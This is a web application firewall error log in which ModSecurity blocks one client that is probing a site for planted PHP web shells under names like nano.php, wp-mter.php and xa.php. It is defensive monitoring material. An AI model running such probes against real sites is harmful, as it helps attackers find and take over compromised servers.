[Mon Apr 06 20:04:02.526913 2026] [:error] [pid 35786:tid 35815] [client 51.103.130.249:65283] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/100.php"] [unique_id "adOhMmgkfCKTaLhwaKQa3QAAANY"]
[Mon Apr 06 20:04:03.137351 2026] [:error] [pid 9442:tid 9462] [client 51.103.130.249:64429] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nano.php"] [unique_id "adOhM0PsNnAJTnmz6sbJPgAAARI"]
[Mon Apr 06 20:04:03.968778 2026] [:error] [pid 1827:tid 1850] [client 51.103.130.249:65335] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nano.php"] [unique_id "adOhM-Veb6S_DnjZ2xEOsAAAAhU"]
[Mon Apr 06 20:04:04.617715 2026] [:error] [pid 35686:tid 35714] [client 51.103.130.249:65288] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nano.php"] [unique_id "adOhNMMKdea6oORd2fzT-QAAABI"]
[Mon Apr 06 20:04:05.293718 2026] [:error] [pid 38562:tid 38567] [client 51.103.130.249:64344] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nano.php"] [unique_id "adOhNaeD6Ohe6wzRuy6D4AAAAUI"]
[Mon Apr 06 20:04:06.012617 2026] [:error] [pid 9442:tid 9450] [client 51.103.130.249:64423] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35_S.php"] [unique_id "adOhNkPsNnAJTnmz6sbJVQAAAQY"]
[Mon Apr 06 20:04:06.735847 2026] [:error] [pid 35686:tid 35716] [client 51.103.130.249:64391] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35_S.php"] [unique_id "adOhNsMKdea6oORd2fzT-gAAABQ"]
[Mon Apr 06 20:04:07.464668 2026] [:error] [pid 9442:tid 9450] [client 51.103.130.249:65239] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35_S.php"] [unique_id "adOhN0PsNnAJTnmz6sbJXAAAAQY"]
[Mon Apr 06 20:04:08.546326 2026] [:error] [pid 9442:tid 9453] [client 51.103.130.249:64375] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35_S.php"] [unique_id "adOhOEPsNnAJTnmz6sbJZwAAAQk"]
[Mon Apr 06 20:04:09.412963 2026] [:error] [pid 35688:tid 35751] [client 51.103.130.249:65331] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2026w.php"] [unique_id "adOhOeZ85qg4jLsRpQynTAAAAIE"]
[Mon Apr 06 20:04:10.080737 2026] [:error] [pid 35688:tid 35760] [client 51.103.130.249:65327] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2026w.php"] [unique_id "adOhOuZ85qg4jLsRpQynUwAAAIo"]
[Mon Apr 06 20:04:11.012853 2026] [:error] [pid 35687:tid 35733] [client 51.103.130.249:65226] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2026w.php"] [unique_id "adOhO53LtDozV0i8BitnJgAAAEo"]
[Mon Apr 06 20:04:11.683824 2026] [:error] [pid 35688:tid 35762] [client 51.103.130.249:65328] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2026w.php"] [unique_id "adOhO-Z85qg4jLsRpQynZAAAAIw"]
[Mon Apr 06 20:04:12.251021 2026] [:error] [pid 10280:tid 10307] [client 51.103.130.249:64357] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file31.php"] [unique_id "adOhPF8QUJkf8g-BFfP0jQAAAdg"]
[Mon Apr 06 20:04:12.961440 2026] [:error] [pid 35688:tid 35756] [client 51.103.130.249:65243] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file31.php"] [unique_id "adOhPOZ85qg4jLsRpQyncAAAAIY"]
[Mon Apr 06 20:04:13.804327 2026] [:error] [pid 9442:tid 9468] [client 51.103.130.249:65235] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file31.php"] [unique_id "adOhPUPsNnAJTnmz6sbJcwAAARg"]
[Mon Apr 06 20:04:14.729026 2026] [:error] [pid 9442:tid 9456] [client 51.103.130.249:63890] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file31.php"] [unique_id "adOhPkPsNnAJTnmz6sbJdwAAAQw"]
[Mon Apr 06 20:04:15.296983 2026] [:error] [pid 1827:tid 1851] [client 51.103.130.249:65219] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/111.php"] [unique_id "adOhP-Veb6S_DnjZ2xEOxwAAAhY"]
[Mon Apr 06 20:04:15.975344 2026] [:error] [pid 35688:tid 35760] [client 51.103.130.249:65311] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/111.php"] [unique_id "adOhP-Z85qg4jLsRpQynhQAAAIo"]
[Mon Apr 06 20:04:16.522180 2026] [:error] [pid 35686:tid 35716] [client 51.103.130.249:63053] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/111.php"] [unique_id "adOhQMMKdea6oORd2fzUDwAAABQ"]
[Mon Apr 06 20:04:17.306076 2026] [:error] [pid 9442:tid 9448] [client 51.103.130.249:65244] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/111.php"] [unique_id "adOhQUPsNnAJTnmz6sbJhgAAAQQ"]
[Mon Apr 06 20:04:17.925876 2026] [:error] [pid 38562:tid 38576] [client 51.103.130.249:65295] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/control.php"] [unique_id "adOhQaeD6Ohe6wzRuy6D8AAAAUs"]
[Mon Apr 06 20:04:18.492146 2026] [:error] [pid 35688:tid 35755] [client 51.103.130.249:63903] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/control.php"] [unique_id "adOhQuZ85qg4jLsRpQynigAAAIU"]
[Mon Apr 06 20:04:19.136072 2026] [:error] [pid 38562:tid 38572] [client 51.103.130.249:65242] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/control.php"] [unique_id "adOhQ6eD6Ohe6wzRuy6D9QAAAUc"]
[Mon Apr 06 20:04:19.753894 2026] [:error] [pid 9442:tid 9464] [client 51.103.130.249:64447] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/control.php"] [unique_id "adOhQ0PsNnAJTnmz6sbJjAAAARQ"]
[Mon Apr 06 20:04:20.376767 2026] [:error] [pid 35688:tid 35760] [client 51.103.130.249:64424] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1111.php"] [unique_id "adOhROZ85qg4jLsRpQynkgAAAIo"]
[Mon Apr 06 20:04:21.035795 2026] [:error] [pid 35688:tid 35771] [client 51.103.130.249:65342] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1111.php"] [unique_id "adOhReZ85qg4jLsRpQynmQAAAJU"]
[Mon Apr 06 20:04:21.701385 2026] [:error] [pid 35688:tid 35768] [client 51.103.130.249:64404] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1111.php"] [unique_id "adOhReZ85qg4jLsRpQynnwAAAJI"]
[Mon Apr 06 20:04:22.317578 2026] [:error] [pid 35688:tid 35772] [client 51.103.130.249:64396] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1111.php"] [unique_id "adOhRuZ85qg4jLsRpQynqQAAAJY"]
[Mon Apr 06 20:04:22.957603 2026] [:error] [pid 1827:tid 1830] [client 51.103.130.249:63827] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fetch.php"] [unique_id "adOhRuVeb6S_DnjZ2xEO1wAAAgE"]
[Mon Apr 06 20:04:23.543144 2026] [:error] [pid 35686:tid 35709] [client 51.103.130.249:63926] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fetch.php"] [unique_id "adOhR8MKdea6oORd2fzUFwAAAA0"]
[Mon Apr 06 20:04:24.442686 2026] [:error] [pid 38562:tid 38576] [client 51.103.130.249:64399] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fetch.php"] [unique_id "adOhSKeD6Ohe6wzRuy6D-gAAAUs"]
[Mon Apr 06 20:04:25.114475 2026] [:error] [pid 9442:tid 9458] [client 51.103.130.249:64365] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fetch.php"] [unique_id "adOhSUPsNnAJTnmz6sbJmAAAAQ4"]
[Mon Apr 06 20:04:25.785476 2026] [:error] [pid 35688:tid 35765] [client 51.103.130.249:63888] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp1.php"] [unique_id "adOhSeZ85qg4jLsRpQynswAAAI8"]
[Mon Apr 06 20:04:26.419507 2026] [:error] [pid 9442:tid 9463] [client 51.103.130.249:65254] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp1.php"] [unique_id "adOhSkPsNnAJTnmz6sbJnwAAARM"]
[Mon Apr 06 20:04:43.376389 2026] [:error] [pid 35688:tid 35755] [client 51.103.130.249:64356] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "adOhW-Z85qg4jLsRpQyn9QAAAIU"]
[Mon Apr 06 20:04:44.307654 2026] [:error] [pid 35686:tid 35700] [client 51.103.130.249:65257] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "adOhXMMKdea6oORd2fzUKwAAAAQ"]
[Mon Apr 06 20:04:44.900906 2026] [:error] [pid 9442:tid 9455] [client 51.103.130.249:64322] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "adOhXEPsNnAJTnmz6sbJ5QAAAQs"]
[Mon Apr 06 20:04:45.658327 2026] [:error] [pid 35786:tid 35807] [client 51.103.130.249:65248] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "adOhXWgkfCKTaLhwaKQa7gAAAM4"]
[Mon Apr 06 20:04:46.251218 2026] [:error] [pid 35786:tid 35809] [client 51.103.130.249:63818] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xa.php"] [unique_id "adOhXmgkfCKTaLhwaKQa7wAAANA"]
[Mon Apr 06 20:04:46.882534 2026] [:error] [pid 38562:tid 38584] [client 51.103.130.249:64339] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xa.php"] [unique_id "adOhXqeD6Ohe6wzRuy6EFwAAAVM"]
[Mon Apr 06 20:04:47.478931 2026] [:error] [pid 1827:tid 1850] [client 51.103.130.249:64431] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xa.php"] [unique_id "adOhX-Veb6S_DnjZ2xEO-gAAAhU"]
[Mon Apr 06 20:04:48.150184 2026] [:error] [pid 35688:tid 35750] [client 51.103.130.249:65305] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xa.php"] [unique_id "adOhYOZ85qg4jLsRpQyoCAAAAIA"]
[Mon Apr 06 20:04:48.780599 2026] [:error] [pid 35688:tid 35768] [client 51.103.130.249:64343] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "adOhYOZ85qg4jLsRpQyoDQAAAJI"]
[Mon Apr 06 20:04:49.441986 2026] [:error] [pid 9442:tid 9461] [client 51.103.130.249:65253] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "adOhYUPsNnAJTnmz6sbJ9gAAARE"]
[Mon Apr 06 20:04:50.045426 2026] [:error] [pid 9442:tid 9467] [client 51.103.130.249:64379] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "adOhYkPsNnAJTnmz6sbJ-gAAARc"]
[Mon Apr 06 20:04:50.596555 2026] [:error] [pid 35688:tid 35764] [client 51.103.130.249:63855] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "adOhYuZ85qg4jLsRpQyoFwAAAI4"]
[Mon Apr 06 20:04:51.111417 2026] [:error] [pid 35688:tid 35759] [client 51.103.130.249:63144] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-mter.php"] [unique_id "adOhY-Z85qg4jLsRpQyoIQAAAIk"]
[Mon Apr 06 20:04:51.742336 2026] [:error] [pid 9442:tid 9460] [client 51.103.130.249:64333] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-mter.php"] [unique_id "adOhY0PsNnAJTnmz6sbKBQAAARA"]
[Mon Apr 06 20:04:52.253608 2026] [:error] [pid 9442:tid 9448] [client 51.103.130.249:64393] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-mter.php"] [unique_id "adOhZEPsNnAJTnmz6sbKCwAAAQQ"]
[Mon Apr 06 20:04:53.014011 2026] [:error] [pid 35686:tid 35711] [client 51.103.130.249:64432] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-mter.php"] [unique_id "adOhZcMKdea6oORd2fzULwAAAA8"]
[Mon Apr 06 20:04:53.524994 2026] [:error] [pid 10280:tid 10293] [client 51.103.130.249:64361] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "adOhZV8QUJkf8g-BFfP0_AAAAco"]
[Mon Apr 06 20:04:54.257245 2026] [:error] [pid 1827:tid 1845] [client 51.103.130.249:61820] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "adOhZuVeb6S_DnjZ2xEPBAAAAhA"]
[Mon Apr 06 20:04:54.819175 2026] [:error] [pid 35688:tid 35756] [client 51.103.130.249:64397] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "adOhZuZ85qg4jLsRpQyoJwAAAIY"]
[Mon Apr 06 20:04:55.342422 2026] [:error] [pid 10280:tid 10300] [client 51.103.130.249:65330] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "adOhZ18QUJkf8g-BFfP1BAAAAdE"]
[Mon Apr 06 20:04:56.016149 2026] [:error] [pid 35786:tid 35813] [client 51.103.130.249:63919] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/19.php"] [unique_id "adOhaGgkfCKTaLhwaKQa9QAAANQ"]
